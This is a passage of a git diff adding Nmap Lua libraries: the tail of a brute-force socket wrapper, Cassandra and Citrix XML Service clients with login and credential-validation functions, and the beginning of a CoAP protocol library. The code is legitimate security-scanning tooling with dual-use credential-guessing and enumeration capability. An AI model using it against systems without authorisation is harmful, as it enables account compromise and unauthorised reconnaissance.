+ -- BruteSocket function
+ return f
+ else
+ -- something provided by NSE socket
+ f = instance.socket[key]
+ end
+ -- Check if it should be wrapped with a checkStatus call
+ if checkwrap[key] then
+ return function(s, ...)
+ local status, err = f(instance.socket, ...)
+ instance:checkStatus(status, err)
+ return status, err
+ end
+ elseif type(f) == "function" then
+ -- not wrapped? call the function on the underlying socket
+ return function (s, ...)
+ return f(instance.socket, ...)
+ end
+ end
+ return f
+ end
+
+ o.socket = nmap.new_socket()
+
+ return o
+ end,
+
+ getSocket = function (self)
+ return self.socket
+ end,
+
+ checkStatus = function (self, status, err)
+ if not status and (err == "ERROR" or err == "TIMEOUT") then
+ local engine = Engine.getEngine(coroutine.running())
+
+ if not engine then
+ stdnse.debug2("WARNING: No associated engine detected for %s", coroutine.running())
+ return -- behave like a usual socket
+ end
+
+ local thread_data = Engine.getThreadData(coroutine.running())
+
+ engine.retry_accounts[#engine.retry_accounts + 1] = {
+ username = thread_data.username,
+ password = thread_data.password,
+ }
+
+ thread_data.connection_error = true
+ thread_data.con_error_reason = err
+ end
+ end,
+}
+
+function new_socket ()
+ return BruteSocket:new()
+end
+
+
+return _ENV
diff --git a/nselib/cassandra.lua b/nselib/cassandra.lua
new file mode 100644
index 0000000..4ac3390
--- /dev/null
+++ b/nselib/cassandra.lua
@@ -0,0 +1,190 @@
+---
+-- Library methods for handling Cassandra Thrift communication as client
+--
+-- @author Vlatko Kosturjak
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- Version 0.1
+--
+
+local stdnse = require "stdnse"
+local string = require "string"
+_ENV = stdnse.module("cassandra", stdnse.seeall)
+
+--[[
+
+ Cassandra Thrift protocol implementation.
+
+ For more information about Cassandra, see:
+
+ http://cassandra.apache.org/
+
+]]--
+
+-- Protocol magic strings
+CASSANDRAREQ = "\x80\x01\x00\x01"
+CASSANDRARESP = "\x80\x01\x00\x02"
+CASSLOGINMAGIC = "\x00\x00\x00\x01\x0c\x00\x01\x0d\x00\x01\x0b\x0b\x00\x00\x00\x02"
+LOGINSUCC = "\x00\x00\x00\x01\x00"
+LOGINFAIL = "\x00\x00\x00\x01\x0b"
+LOGINACC = "\x00\x00\x00\x01\x0c"
+
+--Returns string in cassandra format for login
+--@param username to put in format
+--@param password to put in format
+--@return str : string in cassandra format for login
+function loginstr (username, password)
+ return CASSANDRAREQ
+ .. string.pack(">s4", "login")
+ .. CASSLOGINMAGIC
+ .. string.pack(">s4s4s4s4", "username", username, "password", password)
+ .. "\x00\x00" -- add two null on the end
+end
+
+--Invokes command over socket and returns the response
+--@param socket to connect to
+--@param command to invoke
+--@param cnt is protocol count
+--@return status : true if ok; false if bad
+--@return result : value if status ok, error msg if bad
+function cmdstr (command,cnt)
+ return CASSANDRAREQ
+ .. string.pack(">s4I4", command, cnt)
+ .. "\x00" -- add null on the end
+end
+
+--Invokes command over socket and returns the response
+--@param socket to connect to
+--@param command to invoke
+--@param cnt is protocol count
+--@return status : true if ok; false if bad
+--@return result : value if status ok, error msg if bad
+function sendcmd (socket, command, cnt)
+ local cmdstr = cmdstr (command,cnt)
+ local response
+
+ local status, err = socket:send(string.pack(">I4", #cmdstr))
+ if ( not(status) ) then
+ return false, "error sending packet length"
+ end
+
+ status, err = socket:send(cmdstr)
+ if ( not(status) ) then
+ return false, "error sending packet payload"
+ end
+
+ status, response = socket:receive_bytes(4)
+ if ( not(status) ) then
+ return false, "error receiving length"
+ end
+ local size = string.unpack(">I4", response)
+
+ if #response < size + 4 then
+ local resp2
+ status, resp2 = socket:receive_bytes(size + 4 - #response)
+ if ( not(status) ) then
+ return false, "error receiving payload"
+ end
+ response = response .. resp2
+ end
+
+ -- magic response starts at 5th byte for 4 bytes, 4 byte for length + length of string command
+ if response:sub(5, 8 + 4 + #command) ~= CASSANDRARESP .. string.pack(">s4", command) then
+ return false, "protocol response error"
+ end
+
+ return true, response
+end
+
+--Return Cluster Name
+--@param socket to connect to
+--@param cnt is protocol count
+--@return status : true if ok; false if bad
+--@return result : value if status ok, error msg if bad
+function describe_cluster_name (socket,cnt)
+ local cname = "describe_cluster_name"
+ local status,resp = sendcmd(socket,cname,cnt)
+
+ if (not(status)) then
+ stdnse.debug1("sendcmd: %s", resp)
+ return false, "error in communication"
+ end
+
+ -- grab the size
+ -- pktlen(4) + CASSANDRARESP(4) + lencmd(4) + lencmd(v) + params(7) + next byte position
+ local position = 12 + #cname + 7 + 1
+ local value = string.unpack(">s4", resp, position)
+ return true, value
+end
+
+--Return API version
+--@param socket to connect to
+--@param cnt is protocol count
+--@return status : true if ok; false if bad
+--@return result : value if status ok, error msg if bad
+function describe_version (socket,cnt)
+ local cname = "describe_version"
+ local status,resp = sendcmd(socket,cname,cnt)
+
+ if (not(status)) then
+ stdnse.debug1("sendcmd: %s", resp)
+ return false, "error in communication"
+ end
+
+ -- grab the size
+ -- pktlen(4) + CASSANDRARESP(4) + lencmd(4) + lencmd(v) + params(7) + next byte position
+ local position = 12 + #cname + 7 + 1
+ local value = string.unpack(">s4", resp, position)
+ return true, value
+end
+
+--Login to Cassandra
+--@param socket to connect to
+--@param username to connect to
+--@param password to connect to
+--@return status : true if ok; false if bad
+--@return result : table of status ok, error msg if bad
+--@return if status ok : remaining data read from socket but not used
+function login (socket,username,password)
+ local loginstr = loginstr (username, password)
+ local combo = username..":"..password
+
+ local status, err = socket:send(string.pack(">I4", #loginstr))
+ if ( not(status) ) then
+ stdnse.debug3("cannot send len %s", combo)
+ return false, "Failed to connect to server"
+ end
+
+ status, err = socket:send(loginstr)
+ if ( not(status) ) then
+ stdnse.debug3("Sent packet for %s", combo)
+ return false, err
+ end
+
+ local response
+ status, response = socket:receive_bytes(22)
+ if ( not(status) ) then
+ stdnse.debug3("Receive packet for %s", combo)
+ return false, err
+ end
+ local size = string.unpack(">I4", response)
+
+ local loginresp = string.sub(response,5,17)
+ if (loginresp ~= CASSANDRARESP .. string.pack(">s4", "login")) then
+ return false, "protocol error"
+ end
+
+ local magic = string.sub(response,18,22)
+ stdnse.debug3("packet for %s", combo)
+ stdnse.debug3("packet hex: %s", stdnse.tohex(response) )
+ stdnse.debug3("size packet hex: %s", stdnse.tohex(size) )
+ stdnse.debug3("magic packet hex: %s", stdnse.tohex(magic) )
+
+ if (magic == LOGINSUCC) then
+ return true
+ else
+ return false, "Login failed."
+ end
+end
+
+return _ENV;
diff --git a/nselib/citrixxml.lua b/nselib/citrixxml.lua
new file mode 100644
index 0000000..3a0e3b0
--- /dev/null
+++ b/nselib/citrixxml.lua
@@ -0,0 +1,528 @@
+---
+-- This module was written by Patrik Karlsson and facilitates communication
+-- with the Citrix XML Service. It is not feature complete and is missing several
+-- functions and parameters.
+--
+-- The library makes little or no effort to verify that the parameters submitted
+-- to each function are compliant with the DTD
+--
+-- As all functions handling requests take their parameters in the form of tables,
+-- additional functionality can be added while not breaking existing scripts
+--
+-- Details regarding the requests/responses and their parameters can be found in
+-- the NFuse.DTD included with Citrix MetaFrame/Xenapp
+--
+-- This code is based on the information available in:
+-- NFuse.DTD - Version 5.0 (draft 1) 24 January 2008
+--
+
+
+
+local http = require "http"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("citrixxml", stdnse.seeall)
+
+--- Decodes html-entities to chars eg. &#32; => <space>
+-- Note that only decimal references of ASCII characters are supported.
+-- Named and hexadecimal references are left untouched, and so are codepoints
+-- greater than 255.
+--
+-- @param xmldata string to convert
+-- @return string with XML character references replaced with the corresponding characters
+function decode_xml_document(xmldata)
+ if not xmldata then
+ return ""
+ end
+ return (xmldata:gsub("&#%d+;",
+ function (e)
+ local cp = tonumber(e:sub(3, -2))
+ return cp <= 0xFF and string.char(cp) or nil
+ end))
+end
+
+--- Sends the request to the server using the http lib
+--
+-- @param host string or host table of the remote server
+-- @param port number or port table of the remote server
+-- @param xmldata string, the HTTP data part of the request as XML
+--
+-- @return string with the response body
+--
+function send_citrix_xml_request(host, port, xmldata)
+
+ local response = http.post( host, port, "/scripts/WPnBr.dll", { header={["Content-Type"]="text/xml"}}, nil, xmldata)
+
+ -- this is *probably* not the right way to do stuff
+ -- decoding should *probably* only be done on XML-values
+ -- this is *probably* defined in the standard, for anyone interested
+ return decode_xml_document(response.body)
+
+end
+
+--- Request information about the Citrix Server Farm
+--
+-- Consult the NFuse.DTD for a complete list of supported parameters
+-- This function implements all the supported parameters described in:
+-- Version 5.0 (draft 1) 24 January 2008
+--
+-- @param host string or host table of the remote server
+-- @param port number or port table of the remote server
+-- @return string HTTP response data
+--
+function request_server_farm_data( host, port )
+
+ local xmldata = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM \"NFuse.dtd\">\r\n\z
+ <NFuseProtocol version=\"1.1\">\z
+ <RequestServerFarmData></RequestServerFarmData>\z
+ </NFuseProtocol>\r\n"
+
+ return send_citrix_xml_request(host, port, xmldata)
+end
+
+--- Parses the response from the request_server_farm_data request
+-- @param response string with the XML response
+-- @return table containing server farm names
+--
+function parse_server_farm_data_response( response )
+
+ local farms = {}
+
+ response = response:gsub("\r?\n","")
+ for farm in response:gmatch("<ServerFarmName.->([^<]+)</ServerFarmName>") do
+ table.insert(farms, farm)
+ end
+
+ return farms
+
+end
+
+--- Sends a request for application data to the Citrix XML service
+--
+-- Consult the NFuse.DTD for a complete list of supported parameters
+-- This function does NOT implement all the supported parameters
+--
+-- Supported parameters are Scope, ServerType, ClientType, DesiredDetails
+--
+-- @param host string or host table which is to be queried
+-- @param port number or port table of the XML service
+-- @param params table with parameters
+-- @return string HTTP response data
+--
+function request_appdata(host, port, params)
+
+ -- setup the mandatory parameters if they're missing
+ local scope = params['Scope'] or "onelevel"
+ local server_type = params['ServerType'] or "all"
+ local client_type = params['ClientType'] or "ica30"
+ local desired_details = params['DesiredDetails'] or nil
+
+ local xmldata = {
+ '<?xml version="1.0" encoding="ISO-8859-1"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">\r\n\z
+ <NFuseProtocol version="5.0"><RequestAppData><Scope traverse="',
+ scope,
+ '" /><ServerType>',
+ server_type,
+ "</ServerType><ClientType>",
+ client_type,
+ "</ClientType>"
+ }
+
+ if desired_details then
+ if type(desired_details) == "string" then
+ xmldata[#xmldata+1] = "<DesiredDetails>" .. desired_details .. "</DesiredDetails>"
+ elseif type(desired_details) == "table" then
+ for _, v in ipairs(desired_details) do
+ xmldata[#xmldata+1] = "<DesiredDetails>" .. v .. "</DesiredDetails>"
+ end
+ else
+ assert(desired_details)
+ end
+
+ end
+
+ xmldata[#xmldata+1] = "</RequestAppData></NFuseProtocol>\r\n"
+
+ return send_citrix_xml_request(host, port, table.concat(xmldata))
+end
+
+
+--- Extracts the Accesslist section of the XML response
+--
+-- @param xmldata string containing results from the request app data request
+-- @return table containing settings extracted from the accesslist section of the response
+local function extract_appdata_acls(xmldata)
+
+ local acls = {}
+ local users = {}
+ local groups = {}
+
+ for acl in xmldata:gmatch("<AccessList>(.-)</AccessList>") do
+
+ if acl:match("AnonymousUser") then
+ table.insert(users, "Anonymous")
+ else
+
+ for user in acl:gmatch("<User>(.-)</User>") do
+ local user_name = user:match("<UserName.->(.-)</UserName>") or ""
+ local domain_name = user:match("<Domain.->(.-)</Domain>") or ""
+
+ if user_name:len() > 0 then
+ if domain_name:len() > 0 then
+ domain_name = domain_name .. "\\"
+ end
+ table.insert(users, domain_name .. user_name)
+ end
+
+ end
+
+ for group in acl:gmatch("<Group>(.-)</Group>") do
+
+
+ local group_name = group:match("<GroupName.->(.-)</GroupName>") or ""
+ local domain_name = group:match("<Domain.->(.-)</Domain>") or ""
+
+ if group_name:len() > 0 then
+ if domain_name:len() > 0 then
+ domain_name = domain_name .. "\\"
+ end
+ table.insert(groups, domain_name .. group_name)
+ end
+
+ end
+
+ end
+
+ if #users> 0 then
+ acls['User'] = users
+ end
+ if #groups>0 then
+ acls['Group'] = groups
+ end
+
+ end
+
+ return acls
+
+end
+
+
+--- Extracts the settings section of the XML response
+--
+-- @param xmldata string containing results from the request app data request
+-- @return table containing settings extracted from the settings section of the response
+local function extract_appdata_settings(xmldata)
+
+ local settings = {}
+
+ settings['appisdisabled'] = xmldata:match("<Settings.-appisdisabled=\"(.-)\".->")
+ settings['appisdesktop'] = xmldata:match("<Settings.-appisdesktop=\"(.-)\".->")
+
+ for s in xmldata:gmatch("<Settings.->(.-)</Settings>") do
+ settings['Encryption'] = s:match("<Encryption.->(.-)</Encryption>")
+ settings['EncryptionEnforced'] = s:match("<Encryption minimum=\"(.-)\">")
+ settings['AppOnDesktop'] = s:match("<AppOnDesktop.-value=\"(.-)\"/>")
+ settings['AppInStartmenu'] = s:match("<AppInStartmenu.-value=\"(.-)\"/>")
+ settings['PublisherName'] = s:match("<PublisherName.->(.-)</PublisherName>")
+ settings['SSLEnabled'] = s:match("<SSLEnabled.->(.-)</SSLEnabled>")
+ settings['RemoteAccessEnabled'] = s:match("<RemoteAccessEnabled.->(.-)</RemoteAccessEnabled>")
+ end
+
+ return settings
+
+end
+
+--- Parses the appdata XML response
+--
+-- @param xmldata string response from request_appdata
+-- @return table containing nestled tables closely resembling the DOM model of the XML response
+function parse_appdata_response(xmldata)
+
+ local apps = {}
+ xmldata = xmldata:gsub("\r?\n",""):gsub(">%s+<", "><")
+
+ for AppData in xmldata:gmatch("<AppData>(.-)</AppData>") do
+
+ local app_name = AppData:match("<FName.->(.-)</FName>") or ""
+ local app = {}
+
+ app['FName'] = app_name
+ app['AccessList'] = extract_appdata_acls(AppData)
+ app['Settings'] = extract_appdata_settings(AppData)
+
+ table.insert(apps, app)
+
+ end
+
+ return apps
+end
+
+--
+--
+-- @param flags string, should be any of following: alt-addr, no-load-bias
+--
+function request_address(host, port, flags, appname)
+
+ local xmldata = {
+ '<?xml version="1.0" encoding="ISO-8859-1"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">\r\n\z
+ <NFuseProtocol version="4.1"><RequestAddress>'
+ }
+
+ if flags then
+ xmldata[#xmldata+1] = "<Flags>" .. flags .. "</Flags>"
+ end
+
+ if appname then
+ xmldata[#xmldata+1] = "<Name><AppName>" .. appname .. "</AppName></Name>"
+ end
+
+ xmldata[#xmldata+1] = "</RequestAddress></NFuseProtocol>\r\n"
+
+ return send_citrix_xml_request(host, port, table.concat(xmldata))
+end
+
+--- Request information about the Citrix protocol
+--
+-- Consult the NFuse.DTD for a complete list of supported parameters
+-- This function implements all the supported parameters described in:
+-- Version 5.0 (draft 1) 24 January 2008
+--
+-- @param host string or host table which is to be queried
+-- @param port number or port table of the XML service
+-- @param params table with parameters
+-- @return string HTTP response data
+--
+function request_server_data(host, port, params)
+
+ local params = params or {}
+ local server_type = params.ServerType or {"all"}
+ local client_type = params.ClientType or {"all"}
+
+ local xmldata = {
+ '<?xml version="1.0" encoding="ISO-8859-1"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">\r\n\z
+ <NFuseProtocol version="1.1"><RequestServerData>'
+ }
+
+ for _, srvtype in pairs(server_type) do
+ xmldata[#xmldata+1] = "<ServerType>" .. srvtype .. "</ServerType>"
+ end
+
+ for _, clitype in pairs(client_type) do
+ xmldata[#xmldata+1] = "<ClientType>" .. clitype .. "</ClientType>"
+ end
+
+ xmldata[#xmldata+1] = "</RequestServerData></NFuseProtocol>\r\n"
+
+ return send_citrix_xml_request(host, port, table.concat(xmldata))
+end
+
+--- Parses the response from the request_server_data request
+-- @param response string with the XML response
+-- @return table containing the server names
+--
+function parse_server_data_response(response)
+
+ local servers = {}
+
+ response = response:gsub("\r?\n","")
+ for s in response:gmatch("<ServerName>([^<]+)</ServerName>") do
+ table.insert(servers, s)
+ end
+
+ return servers
+
+end
+
+--- Request information about the Citrix protocol
+--
+-- Consult the NFuse.DTD for a complete list of supported parameters
+-- This function implements all the supported parameters described in:
+-- Version 5.0 (draft 1) 24 January 2008
+--
+-- @param host string or host table which is to be queried
+-- @param port number or port table of the XML service
+-- @param params table with parameters
+-- @return string HTTP response data
+--
+function request_protocol_info( host, port, params )
+
+ local params = params or {}
+
+ local xmldata = {
+ '<?xml version="1.0" encoding="ISO-8859-1"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">\r\n\z
+ <NFuseProtocol version="1.1"><RequestProtocolInfo>'
+ }
+
+ if params['ServerAddress'] then
+ xmldata[#xmldata+1] = ('<ServerAddress addresstype="' ..
+ params['ServerAddress']['attr']['addresstype'] .. '">' ..
+ params['ServerAddress'] .. "</ServerAddress>")
+ end
+
+ xmldata[#xmldata+1] = "</RequestProtocolInfo></NFuseProtocol>\r\n"
+
+ return send_citrix_xml_request(host, port, table.concat(xmldata))
+end
+
+--- Request capability information
+--
+-- Consult the NFuse.DTD for a complete list of supported parameters
+-- This function implements all the supported parameters described in:
+-- Version 5.0 (draft 1) 24 January 2008
+--
+-- @param host string or host table which is to be queried
+-- @param port number or port table of the XML service
+-- @return string HTTP response data
+--
+function request_capabilities( host, port )
+
+ local xmldata = '<?xml version="1.0" encoding="ISO-8859-1"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">\r\n\z
+ <NFuseProtocol version="1.1"><RequestCapabilities>\z
+ </RequestCapabilities></NFuseProtocol>\r\n'
+
+ return send_citrix_xml_request(host, port, xmldata)
+end
+
+--- Parses the response from the request_capabilities request
+-- @param response string with the XML response
+-- @return table containing the server capabilities
+--
+function parse_capabilities_response(response)
+
+ local servers = {}
+
+ response = response:gsub("\r?\n","")
+ for s in response:gmatch("<CapabilityId.->([^<]+)</CapabilityId>") do
+ table.insert(servers, s)
+ end
+
+ return servers
+
+end
+
+--- Tries to validate user credentials against the XML service
+--
+-- Consult the NFuse.DTD for a complete list of supported parameters
+-- This function implements all the supported parameters described in:
+-- Version 5.0 (draft 1) 24 January 2008
+--
+--
+-- @param host string or host table which is to be queried
+-- @param port number or port table of the XML service
+-- @param params table with parameters
+-- @return string HTTP response data
+--
+function request_validate_credentials(host, port, params )
+
+ local params = params or {}
+ local credentials = params['Credentials'] or {}
+
+ local xmldata = {
+ '<?xml version="1.0" encoding="ISO-8859-1"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">\r\n\z
+ <NFuseProtocol version="5.0"><RequestValidateCredentials><Credentials>'
+ }
+
+ if credentials['UserName'] then
+ xmldata[#xmldata+1] = "<UserName>" .. credentials['UserName'] .. "</UserName>"
+ end
+
+ if credentials['Password'] then
+ xmldata[#xmldata+1] = '<Password encoding="cleartext">' .. credentials['Password'] .. "</Password>"
+ end
+
+ if credentials['Domain'] then
+ xmldata[#xmldata+1] = '<Domain type="NT">' .. credentials['Domain'] .. "</Domain>"
+ end
+
+ xmldata[#xmldata+1] = "</Credentials></RequestValidateCredentials></NFuseProtocol>\r\n"
+
+ return send_citrix_xml_request(host, port, table.concat(xmldata))
+
+end
+
+
+--- Parses the response from request_validate_credentials
+-- @param response string with the XML response
+-- @return table containing the results
+--
+function parse_validate_credentials_response(response)
+ local tblResult = {}
+
+ response = response:gsub("\r?\n","")
+ tblResult['DaysUntilPasswordExpiry'] = response:match("<DaysUntilPasswordExpiry>(.+)</DaysUntilPasswordExpiry>")
+ tblResult['ShowPasswordExpiryWarning'] = response:match("<ShowPasswordExpiryWarning>(.+)</ShowPasswordExpiryWarning>")
+ tblResult['ErrorId'] = response:match("<ErrorId>(.+)</ErrorId>")
+
+ return tblResult
+
+end
+
+--- Sends a request to reconnect session data
+--
+-- Consult the NFuse.DTD for a complete list of supported parameters
+-- This function does NOT implement all the supported parameters
+----
+-- @param host string or host table which is to be queried
+-- @param port number or port table of the XML service
+-- @param params table with parameters
+--
+function request_reconnect_session_data(host, port, params)
+
+ local params = params or {}
+ local Credentials = params.Credentials or {}
+
+ params.ServerType = params.ServerType or {}
+ params.ClientType = params.ClientType or {}
+
+ local xmldata = {
+ '<?xml version="1.0" encoding="ISO-8859-1"?>\r\n\z
+ <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">\r\n\z
+ <NFuseProtocol version="5.0"><RequestReconnectSessionData><Credentials>'
+ }
+
+ if Credentials.UserName then
+ xmldata[#xmldata+1] = "<UserName>" .. Credentials.UserName .. "</UserName>"
+ end
+
+ if Credentials.Password then
+ xmldata[#xmldata+1] = '<Password encoding="cleartext">' .. Credentials.Password .. "</Password>"
+ end
+
+ if Credentials.Domain then
+ xmldata[#xmldata+1] = '<Domain type="NT">' .. Credentials.Domain .. "</Domain>"
+ end
+
+ xmldata[#xmldata+1] = "</Credentials>"
+
+ if params.ClientName then
+ xmldata[#xmldata+1] = "<ClientName>" .. params.ClientName .. "</ClientName>"
+ end
+
+ if params.DeviceId then
+ xmldata[#xmldata+1] = "<DeviceId>" .. params.DeviceId .. "</DeviceId>"
+ end
+
+ for _, srvtype in pairs(params.ServerType) do
+ xmldata[#xmldata+1] = "<ServerType>" .. srvtype .. "</ServerType>"
+ end
+
+ for _, clitype in pairs(params.ClientType) do
+ xmldata[#xmldata+1] = "<ClientType>" .. clitype .. "</ClientType>"
+ end
+
+ xmldata[#xmldata+1] = "</RequestReconnectSessionData></NFuseProtocol>\r\n"
+
+ return send_citrix_xml_request(host, port, table.concat(xmldata))
+
+
+end
+
+return _ENV;
diff --git a/nselib/coap.lua b/nselib/coap.lua
new file mode 100644
index 0000000..978146f
--- /dev/null
+++ b/nselib/coap.lua
@@ -0,0 +1,2675 @@
+local comm = require "comm"
+local json = require "json"
+local lpeg = require "lpeg"
+local math = require "math"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local unittest = require "unittest"
+
+_ENV = stdnse.module("coap", stdnse.seeall)
+
+---
+-- An implementation of CoAP
+-- https://tools.ietf.org/html/rfc7252
+--
+-- This library does not currently implement the entire CoAP protocol,
+-- only those behaviours which are necessary for existing scripts are
+-- included. Extending to accommodate additional control packets should
+-- not be difficult.
+--
+-- @author "Mak Kolybabi <mak@kolybabi.com>"
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+COAP = {}
+
+COAP.build = nil
+COAP.parse = nil
+
+COAP.header = {}
+COAP.header.build = nil
+COAP.header.parse = nil
+
+COAP.header.codes = {}
+COAP.header.codes.build = nil
+COAP.header.codes.parse = nil
+
+COAP.header.options = {}
+COAP.header.options.build = nil
+COAP.header.options.parse = nil
+
+COAP.header.options.delta_length = {}
+COAP.header.options.delta_length.build = nil
+COAP.header.options.delta_length.parse = nil
+
+COAP.header.options.accept = {}
+COAP.header.options.accept.build = nil
+COAP.header.options.accept.parse = nil
+
+COAP.header.options.block1 = {}
+COAP.header.options.block1.build = nil
+COAP.header.options.block1.parse = nil
+
+COAP.header.options.block2 = {}
+COAP.header.options.block2.build = nil
+COAP.header.options.block2.parse = nil
+
+COAP.header.options.content_format = {}
+COAP.header.options.content_format.build = nil
+COAP.header.options.content_format.parse = nil
+
+COAP.header.options.etag = {}
+COAP.header.options.etag.build = nil
+COAP.header.options.etag.parse = nil
+
+COAP.header.options.if_match = {}
+COAP.header.options.if_match.build = nil
+COAP.header.options.if_match.parse = nil
+
+COAP.header.options.if_none_match = {}
+COAP.header.options.if_none_match.build = nil
+COAP.header.options.if_none_match.parse = nil
+
+COAP.header.options.location_path = {}
+COAP.header.options.location_path.build = nil
+COAP.header.options.location_path.parse = nil
+
+COAP.header.options.location_query = {}
+COAP.header.options.location_query.build = nil
+COAP.header.options.location_query.parse = nil
+
+COAP.header.options.max_age = {}
+COAP.header.options.max_age.build = nil
+COAP.header.options.max_age.parse = nil
+
+COAP.header.options.proxy_scheme = {}
+COAP.header.options.proxy_scheme.build = nil
+COAP.header.options.proxy_scheme.parse = nil
+
+COAP.header.options.proxy_uri = {}
+COAP.header.options.proxy_uri.build = nil
+COAP.header.options.proxy_uri.parse = nil
+
+COAP.header.options.size1 = {}
+COAP.header.options.size1.build = nil
+COAP.header.options.size1.parse = nil
+
+COAP.header.options.uri_host = {}
+COAP.header.options.uri_host.build = nil
+COAP.header.options.uri_host.parse = nil
+
+COAP.header.options.uri_path = {}
+COAP.header.options.uri_path.build = nil
+COAP.header.options.uri_path.parse = nil
+
+COAP.header.options.uri_port = {}
+COAP.header.options.uri_port.build = nil
+COAP.header.options.uri_port.parse = nil
+
+COAP.header.options.uri_query = {}
+COAP.header.options.uri_query.build = nil
+COAP.header.options.uri_query.parse = nil
+
+COAP.header.options.value = {}
+
+COAP.header.options.value.block = {}
+COAP.header.options.value.block.build = nil
+COAP.header.options.value.block.parse = nil
+
+COAP.header.options.value.empty = {}
+COAP.header.options.value.empty.build = nil
+COAP.header.options.value.empty.parse = nil
+
+COAP.header.options.value.opaque = {}
+COAP.header.options.value.opaque.build = nil
+COAP.header.options.value.opaque.parse = nil
+
+COAP.header.options.value.uint = {}
+COAP.header.options.value.uint.build = nil
+COAP.header.options.value.uint.parse = nil
+
+COAP.header.options.value.string = {}
+COAP.header.options.value.string.build = nil
+COAP.header.options.value.string.parse = nil
+
+COAP.header.find_option = nil
+COAP.header.find_options = nil
+
+COAP.payload = {}
+COAP.payload.parse = nil
+
+COAP.payload.text_plain = {}
+COAP.payload.text_plain.build = nil
+COAP.payload.text_plain.parse = nil
+
+COAP.payload.application_link_format = {}
+COAP.payload.application_link_format.build = nil
+COAP.payload.application_link_format.parse = nil
+
+COAP.payload.application_xml = {}
+COAP.payload.application_xml.build = nil
+COAP.payload.application_xml.parse = nil
+
+COAP.payload.application_octet_stream = {}
+COAP.payload.application_octet_stream.build = nil
+COAP.payload.application_octet_stream.parse = nil
+
+COAP.payload.application_exi = {}
+COAP.payload.application_exi.build = nil
+COAP.payload.application_exi.parse = nil
+
+COAP.payload.application_json = {}
+COAP.payload.application_json.build = nil
+COAP.payload.application_json.parse = nil
+
+--- Builds a CoAP message.
+--
+-- @name COAP.build
+--
+-- @param options Table of options accepted by the desired message
+-- build function.
+-- @param payload String representing the message payload.
+--
+-- @return status true on success, false on failure.
+-- @return response String representing a raw message on success, or
+-- containing the error message on failure.
+COAP.build = function(options, payload)
+ -- Sanity check the payload.
+ if not payload then
+ payload = ""
+ end
+ assert(type(payload) == "string")
+
+ assert(type(options) == "table")
+
+ -- Build the header.
+ local pkt = COAP.header.build(options)
+
+ -- Build the payload.
+ if payload ~= "" then
+ pkt = pkt .. string.char(0xFF)
+ end
+ pkt = pkt .. COAP.payload.build(options, payload)
+
+ return pkt
+end
+
+--- Parses a CoAP message.
+--
+-- @name COAP.parse
+--
+-- @param buf String from which to parse the message.
+-- @param pos Position from which to start parsing.
+--
+-- @return pos String index on success, false on failure.
+-- @return response Table representing a message on success, string
+-- containing the error message on failure.
+COAP.parse = function(buf, pos)
+ assert(type(buf) == "string")
+
+ if not pos or pos == 0 then
+ pos = 1
+ end
+ assert(type(pos) == "number")
+ assert(pos <= #buf)
+
+ -- Parse the fixed header.
+ local pos, hdr = COAP.header.parse(buf, pos)
+ if not pos then
+ return false, hdr
+ end
+
+ -- If we've reached the end of the packet, there's no payload and we
+ -- can return immediately.
+ if pos > #buf then
+ return pos, hdr
+ end
+
+ -- If we're not at the end of the buffer, but the next byte after
+ -- the header and options is not the payload marker, return
+ -- immediately. We've got no idea what we're looking at.
+ if buf:byte(pos) ~= 0xFF then
+ stdnse.debug3("Parsed to byte %d of %d of packet, remaining bytes not understood.", pos - 1, #buf)
+ return pos, hdr
+ end
+ pos = pos + 1
+
+ -- If there's nothing past the payload marker, which is how some
+ -- implementations format their packets.
+ if pos > #buf then
+ return pos, hdr
+ end
+
+ -- By this point, we have the payload and it's prefixed by the
+ -- payload marker. We know this is a payload, so extract it.
+ local payload = buf:sub(pos)
+ pos = #buf + 1
+
+ -- If the header contains a block options, then we can't parse the
+ -- payload since it spans multiple packets, so we return it raw.
+ local b1opt = COAP.header.find_option(hdr, "block1")
+ local b2opt = COAP.header.find_option(hdr, "block2")
+ if b1opt or b2opt then
+ hdr.payload = payload
+ return pos, hdr
+ end
+
+ -- In the absence of block options, we should be able to parse the
+ -- payload.
+ local status, payload = COAP.payload.parse(hdr, payload)
+ if not status then
+ return false, payload
+ end
+ hdr.payload = payload
+
+ return pos, hdr
+end
+
+COAP.header.types = {
+ ["confirmable"] = 0,
+ ["non-confirmable"] = 1,
+ ["acknowledgement"] = 2,
+ ["reset"] = 3,
+}
+
+--- Builds a CoAP message header.
+--
+-- @name COAP.header.build
+--
+-- See section "3. Message Format" of the standard.
+--
+-- @param options Table of options accepted by the desired message
+-- build function.
+--
+-- @return status true on success, false on failure.
+-- @return response String representing a raw message header on
+-- success, or containing the error message on failure.
+COAP.header.build = function(options)
+ assert(type(options) == "table")
+
+ -- Fields which can be left as default.
+ local ver = options.version
+ if not ver then
+ ver = 1
+ end
+ assert(type(ver) == "number")
+ assert(ver >= 0)
+ assert(ver <= 3)
+
+ local token = options.token
+ if not token then
+ token = ""
+ end
+ assert(type(token) == "string")
+
+ local tkl = #token
+ assert(type(tkl) == "number")
+ assert(tkl >= 0)
+ assert(tkl <= 8)
+
+ local id = options.id
+ if not id then
+ id = math.random(65535)
+ end
+ assert(type(id) == "number")
+ assert(id >= 0)
+ assert(id <= 65535)
+
+ -- Fields which need to be explicitly set.
+ local mtype = options.type
+ assert(type(mtype) == "string")
+ mtype = COAP.header.types[mtype]
+ assert(mtype)
+
+ local code = options.code
+ assert(code)
+ assert(type(code) == "string")
+ code = COAP.header.codes.build(code)
+
+ -- Build the fixed portion of the header.
+
+ ver = ver << 6
+ mtype = mtype << 4
+
+ local pkt = {
+ string.pack("B", ver | mtype | tkl),
+ code,
